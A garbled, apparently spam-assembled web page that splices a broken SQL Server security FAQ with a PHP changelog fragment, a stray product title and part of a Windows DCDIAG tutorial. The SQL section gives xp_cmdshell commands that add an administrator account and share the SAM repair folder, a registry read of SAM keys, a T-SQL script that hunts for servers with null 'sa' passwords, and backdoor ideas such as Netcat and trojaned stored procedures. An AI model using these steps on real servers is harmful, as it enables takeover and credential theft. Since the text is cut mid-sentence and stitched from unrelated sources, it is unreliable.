System : Windows NT IIS01 6.1 build 7601 (Windows Server 2008 R2 Enterprise Edition Service Pack 1) i586 : Build Date : Jul 20 2016 21:11:35 : Compiler. SQL Server FAQ - SQLSecurity Home. Answer: Say. someone has compromised an account with execute rights to the. The next step is to compromise the OS. This might include firing up the xp_cmdshell stored procedure and. Xp_cmdshell 'net user testuser Ugot. Hacked /ADD'Then: Xp_cmdshell 'net localgroup Administrators testuser /ADD'Note: In SQL 7. SQLAgent. Cmd. Exec user context by default. Some may argue that. Administrator account, then talking about. The point is that sa isn’t. Administrator; sa is a SQL Server security model member, and its. NT. This is the primary point you should take from this section—the idea. Now the attacker. SQL Server. machine. Pray your machine isn’t a domain controller or the user now. Sigh.) While the attackers are there, they just. Xp_cmdshell 'rdisk /s- 'This effectively rebuilds the information in the \winnt\repair directory without prompting the user. After backing up. SAM (sam._ in \winnt\repair directory), the attacker can establish. SMB connection to an administrative share or create one: Xp_cmdshell 'net share getsam=c: \winnt\repair'Of course, if the. SMB ports (UDP 1. TCP 1. 39) are blocked, the attacker will. Web server with anonymous browsing enabled (or. OLE automation stored procedures), move the file, and. If that doesn’t work, why not. Get. Chunk ADO method to pull it over to your machine? How about. using the built- in TFTP client to download a Netcat listener to the. Be creative —. hackers are. By the way. compromised SQL Servers make excellent launching points for attacks. If you would like to read the first part in this article series please go to What’s New in Windows Server 2012 Remote Access (Part 1). Introduction. By hopping from server to. Below is an example sql script to enumerate. SQL Servers on the network that have null 'sa' accounts.- - Create temp table to store enumerated servers SET NOCOUNT ON CREATE TABLE #temp (shelldump varchar(2. INSERT #temp EXEC xp_cmdshell 'osql - L' DECLARE @current_server varchar(2. DECLARE sql_cursor CURSOR FOR SELECT * FROM #temp OPEN sql_cursor FETCH NEXT FROM sql_cursor INTO @current_server - - Loop through potential targets and check for null sa accounts - - If target is vulnerable, version information will be displayed WHILE @@FETCH_STATUS = 0 BEGIN If @current_server < > 'Servers: ' BEGIN SELECT @current_server = rtrim(ltrim(@current_server)) SELECT @conn_string = 'exec master. ![]() ![]() PHP 5 ChangeLog Version 5.6.31. Core: Fixed bug #73807 (Performance problem with processing post request over 2000000 chars). Fixed bug #74111 (Heap.S' + @current_server + ' - Usa - P - Q "select @@version"''' PRINT 'Attempting connection to server: ' + @current_server EXECUTE (@conn_string) PRINT '=====================================================================' END FETCH NEXT FROM sql_cursor INTO @current_server END - -Clean up CLOSE sql_cursor DEALLOCATE sql_cursor. DROP TABLE #TEMPAs the above code. SQL Server can be turned into an unwilling. Even better for the attacker, subsequent. SQL Server to be the source of future. What if you were smart and disabled the xp_cmdshell extended stored procedure? Now where do we go? Try this little gem: xp_regread 'HKEY_LOCAL_MACHINE', 'SECURITY\SAM\Domains\Account', 'F'If the. MSSqlserver service is running under the Local. System account, then this. SID right out of the registry. David Le. Blanc - a frequent posted to ntbugtraq - has correctly pointed. SYSKEY installed.)These are just a. Make sure you audit your own systems to ensure that these and. So what? They get into the SQL Server, how does this affect my network? Once the system. is compromised, it’s likely the intruder will put backdoors in place to. Some. examples include the following: Modifying the sp_password stored procedure to capture passwords when users attempt to change their passwords. Installing. popular shareware/freeware tools such as Netbus or Back. Oriface on the. server so the attacker can access the box in other ways even if SQL is. I include this because Administrator access isn’t required for. SQL Server can make an excellent delivery. Exploiting. holes in other services on the machine through OLE Automation. A. popular example is an exploit of IIS that allows the attacker to modify. Web site. Installing. IIS, xp_cmdshell. Adding. stored procedures to sp_makestartup to allow the attacker to run stored. These entries could open null user.With. registry access at the administrator level, the attacker has total.SQL Server before it goes into production. 3D Tropical Fish Aquarium Iii . If it’s too. late for this, then do your best to look for these trojans and remove. Good logging will help you to monitor access and see who is using. Working With the Domain Controller Diagnostic Utility (Part 6)If you would like to read the other parts in this article series please go to: Introduction. So far in this article series, I have shown you quite a few different tests that you can perform on your domain controllers by using the Domain Controller Diagnostic Utility. Even so, there are still some tests that I have not talked about yet. In this article, I want to wrap things up by showing you the remaining tests. Register in DNSIf you have been working with Windows for a while, then I am sure that you know that the Active Directory is completely dependent on the DNS services, and that every host on your network requires a Host (A) record on the organization’s DNS server. What a lot of people do not realize though, is that when you create the first domain in a forest, there are some domain specific DNS records that are created within a folder named Domain. Dns. Zones. This folder is located within the Forward Lookup Zones in your domain folder. The Domain. Dns. Zones folder mains records for each domain controller. Without these records, other servers on the network will not be able to locate the domain controller’s directory resources. It is therefore essential that each domain controller be able to register itself within the DNS. This is where the Register in DNS test comes into play. This test verifies that the domain controller is able to register a directory server locator record. You can perform the Register in DNS test by entering the following command: DCDIAG /Test: Register. In. Dns /Dns. Domain: < Active Directory Domain DNS Name> For example, if your domain were named Contoso. DCDIAG /Test: Register. In. Dns /Dns. Domain: Contoso. Replications. As I am sure you know, Windows 2. Server and every subsequent version of Windows Server use a multimaster domain model. This means that each domain controller has its own copy of the Active Directory database, and updates can be made directly to any of these copies. When an update is made to the Active Directory database, the update is then replicated to the other domain controllers. The Replications test checks to make sure that these updates are occurring in a timely manner. If there is excessive latency in the update process, then domain controllers will remain out of sync for an extended period of time, and there is a greater potential for conflicts to occur. You can perform the Replications test by entering the following command: DCDIAG /TEST: Replications. RID Manager. Any time that you create a new Active Directory object, such as a user or a group, Windows assigns it a unique Security Identifier (SID). That SID is made up of a domain SID that is common for all objects within a domain, and a relative identifier (RID) that is unique within the domain. The RID master provides each domain controller within a domain a pool of RIDs that it can use when new objects are created. When the pool nears depletion, the domain controller issues a request to the RID master for additional RIDs. If the domain controller is unable to contact the RID Master, then no additional objects will be able to be created on that domain controller once the pool of RIDs has been exhausted. The RID Manager test allows you to verify that a domain controller can identify and contact the RID Master, and that the RID Master contains the appropriate information. You can run this test by entering the following command: DCDIAG /Test: Rid. Manager. Services. In Windows Server 2. Active Directory is now listed as a service within the Service Control Manager. As you might have guessed, the Active Directory is a bit more complex than it initially appears. The Active Directory Domain Service has a number of dependency services, some of which include the DNS Server (if it is present on the server), Kerberos Key Distribution Center, Intersite Messaging, and the File Replication Service. You can use the Services test to make sure that the Active Directory Domain Service and all of its supporting services are running. To do so, issue this command: DCDIAG /Test: Services. System Log. According to Microsoft’s documentation, the System Log test examines the system to make sure that no errors are being generated. This makes it sound as though this test parses the System event log looking for errors. Perhaps on some level it does, but that isn’t what appears to happen when you actually perform the test. When you run the system log test, the Domain Controller Diagnostic Utility begins by identifying the home server and the Active Directory forest. It then performs a connectivity test, a system log test (which I can only assume looks for critical events in the system log), and a series of partition tests on various Active Directory Partitions (Forest. Dns. Zones, Domain. Dns. Zones, Schema, Configuration, etc.)You can run the System Log test by entering the following command: DCDIAG /Test: System. Log. Topology. Windows Server uses something called the Directory System Agent (DSA) to provide access to the data store. The Directory Service Agent is made up of various services and processes that facilitate that access. The DSA is a part of the Local System Authority subsystem, and is typically accessed through the LDAP protocol. When multiple domain controllers are in use, each domain controller must have topology information that links it to other DSAs. The Topology test validates that the topology that Windows has generated is fully connected for all DSAs. One important thing to know about the Topology test is that it is one of the few tests that is not run by default. It must be manually executed. You can perform this test by entering the following command: DCDIAG /Test: Topology. Verify References. The Verify References test makes sure that the system references required by the File Replication Service and that the general replication infrastructure are intact. You can perform this test by entering the following command: DCDIAG /Test: Verify. References. Verify Enterprise References. The Verify Enterprise References test is very similar to the Verify References test that I just discussed. Like the Verify References test, the Verify Enterprise References test checks to make sure that references required by the File Replication Service and that the general replication infrastructure are intact. What makes this command different from the Verify References command is that it checks file replication service references and the general replication infrastructure across all of the domain controllers in the entire enterprise. This is another one of those tests that are not run by default. You can perform this test by entering the following command: DCDIAG /Test: Verify. Enterprise. References. Verify Replicas. The Verify Replicas test is another test that is not run by default, and must be manually executed. The basic idea behind this test is that Windows allows you to create application directory partitions, and those partitions can be replicated to other servers. The test allows you to make sure that all of the replica servers contain the appropriate replicas. You can perform this test by entering the following command: DCDIAG /Test: Verify. Replicas. Conclusion. As you can see, the Domain Controller Diagnostic Utility is capable of performing numerous tests. In my opinion, DCDIAG is one of the most underrated diagnostic tools that Microsoft has ever created. If you would like to read the other parts in this article series please go to: Tech. Genix » Articles » Working With the Domain Controller Diagnostic Utility (Part 6).
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